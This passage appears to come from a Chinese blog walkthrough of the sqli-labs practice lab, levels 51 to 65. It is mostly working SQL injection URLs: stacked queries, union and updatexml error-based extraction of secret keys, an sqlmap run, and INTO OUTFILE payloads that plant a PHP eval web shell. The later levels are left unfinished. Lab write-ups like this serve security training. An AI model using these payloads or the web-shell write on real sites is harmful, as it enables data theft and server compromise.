http://192.168.152.129:88/Less-51/?sort=-1';use hello51;create table hellohello51 (id int,name char);#
http://192.168.152.129:88/Less-51/?sort=-1';use hello51;insert into hellohello51 (id,name) value (1,"a");#
http://192.168.152.129:88/Less-51/?sort=-1';select '<?php @eval($_POST["cmd"]);?>' into outfile 'C:\\phpStudy_64\\phpstudy_pro\\WWW\\shell51.php';


第五十二关
同五十关
http://192.168.152.129:88/Less-52/?sort=-1;create database hello52;#
http://192.168.152.129:88/Less-52/?sort=-1;use hello52;create table hellohello52 (id int,name char);#
http://192.168.152.129:88/Less-52/?sort=-1;use hello52;insert into hellohello52 (id,name) value (1,"a");#
http://192.168.152.129:88/Less-52/?sort=-1;select '<?php @eval($_POST["cmd"]);?>' into outfile 'C:\\phpStudy_64\\phpstudy_pro\\WWW\\shell52.php';


第五十三关
同五十一关
http://192.168.152.129:88/Less-53/?sort=-1';create database hello53;#
http://192.168.152.129:88/Less-53/?sort=-1';use hello53;create table hellohello53 (id int,name char);#
http://192.168.152.129:88/Less-53/?sort=-1';use hello53;insert into hellohello53 (id,name) value (1,"a");#
http://192.168.152.129:88/Less-53/?sort=-1';select '<?php @eval($_POST["cmd"]);?>' into outfile 'C:\\phpStudy_64\\phpstudy_pro\\WWW\\shell53.php';


第五十四关
在challenge库中破解密钥
http://192.168.152.129:88/Less-54/?id=' or 1=1--+
http://192.168.152.129:88/Less-54/?id=' order by 4--+
http://192.168.152.129:88/Less-54/?id=' union select 1,2,3--+
http://192.168.152.129:88/Less-54/?id=' union select 1,database(),3--+
http://192.168.152.129:88/Less-54/?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
http://192.168.152.129:88/Less-54/?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='na0hgk0rip'--+
http://192.168.152.129:88/Less-54/?id=' union select 1,2,group_concat(secret_UI0M,tryy
) from challenges.na0hgk0rip--+
把得到的密钥提交会出现成攻的画面





第五十五关
()闭合破解密钥
http://192.168.152.129:88/Less-55/?id=0) union select 1,database(),3--+
http://192.168.152.129:88/Less-55/?id=0) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
http://192.168.152.129:88/Less-55/?id=0) union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='19a7avopn8'--+
http://192.168.152.129:88/Less-55/?id=0) union select 1,2,group_concat(secret_5ZN4
) from challenges.19a7avopn8--+




第五十六关
('')闭合破解密钥
http://192.168.152.129:88/Less-56/?id=0') union select 1,database(),3--+
http://192.168.152.129:88/Less-56/?id=0') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
http://192.168.152.129:88/Less-56/?id=0') union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='14ui3q83mp'--+
http://192.168.152.129:88/Less-56/?id=0') union select 1,2,group_concat(secret_LE9U
) from challenges.14ui3q83mp--+




第五十七关
""闭合找密钥
http://192.168.152.129:88/Less-57/?id=0" union select 1,database(),3--+
http://192.168.152.129:88/Less-57/?id=0" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+
http://192.168.152.129:88/Less-57/?id=0" union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='kbydcail2u'--+
http://192.168.152.129:88/Less-57/?id=0" union select 1,2,group_concat(secret_IC0T
) from challenges.kbydcail2u--+



第五十八关
''闭合报错注入找密钥
上一关部分代码
$sql="SELECT * FROM security.users WHERE id=$id LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo '<font color= "#00FFFF">';
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
本关代码
$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
$pass = array_reverse($unames);
echo 'Your Login name : '. $unames[$row['id']];
echo "<br>";
echo 'Your Password : ' .$pass[$row['id']];
echo "</font>";
可以看到 这一关返回数据是没有经数据库查询的 联合查询行不通 报错注入
http://192.168.152.129:88/Less-58/?id=0' and updatexml(1,concat(0x7e,database(),0x7e),1)--+
http://192.168.152.129:88/Less-58/?id=0' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges' ),0x7e),1)--+
http://192.168.152.129:88/Less-58/?id=0' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='ax3igtecgh' ),0x7e),1)--+
http://192.168.152.129:88/Less-58/?id=0' and updatexml(1,concat(0x7e,(select group_concat(secret_P8X7) from challenges.ax3igtecgh ),0x7e),1)--+


最后语句看到密钥了 来不及截图 就跳转了
第五十九关
数字报错注入找密钥
http://192.168.152.129:88/Less-59/?id=0 and updatexml(1,concat(0x7e,database(),0x7e),1)--+
http://192.168.152.129:88/Less-59/?id=0 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges' ),0x7e),1)--+
http://192.168.152.129:88/Less-59/?id=0 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='unz9mnjf2x' ),0x7e),1)--+
http://192.168.152.129:88/Less-59/?id=0 and updatexml(1,concat(0x7e,(select group_concat(secret_GADF) from challenges.unz9mnjf2x ),0x7e),1)--+


第六十关
('')闭合报错注入找密钥
http://192.168.152.129:88/Less-60/?id=0") and updatexml(1,concat(0x7e,database(),0x7e),1)--+
http://192.168.152.129:88/Less-60/?id=0") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges' ),0x7e),1)--+
http://192.168.152.129:88/Less-60/?id=0") and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='j8mjdgrl4s' ),0x7e),1)--+
http://192.168.152.129:88/Less-60/?id=0") and updatexml(1,concat(0x7e,(select group_concat(secret_NH5W) from challenges.j8mjdgrl4s),0x7e),1)--+


第六十一关
((''))闭合报错注入找密钥
http://192.168.152.129:88/Less-61/?id=0')) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges' ),0x7e),1)--+
http://192.168.152.129:88/Less-61/?id=0')) and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='q3cvd8vz7f' ),0x7e),1)--+
http://192.168.152.129:88/Less-61/?id=0')) and updatexml(1,concat(0x7e,(select group_concat(secret_UQUX) from challenges.q3cvd8vz7f),0x7e),1)--+

第六十二关
盲注找密钥
sqlmap -u http://192.168.152.129:88/Less-62/?id=1 -level 5 -thread 5 --batch -p "id" -D challenges --tables
Database: challenges
[1 table]
+------------+
| yywwz6seg5 |
+------------+
发现后面就出不来了
没想到这里会烂尾了 没有合适的办法去弄了
第六十三关
盲注找密钥
第六十四关
盲注找密钥
第六十五关
盲注找密钥
总结
1 看如何传数据包的 get post
2 找注入点
3 确定注入类型

浙公网安备 33010602011771号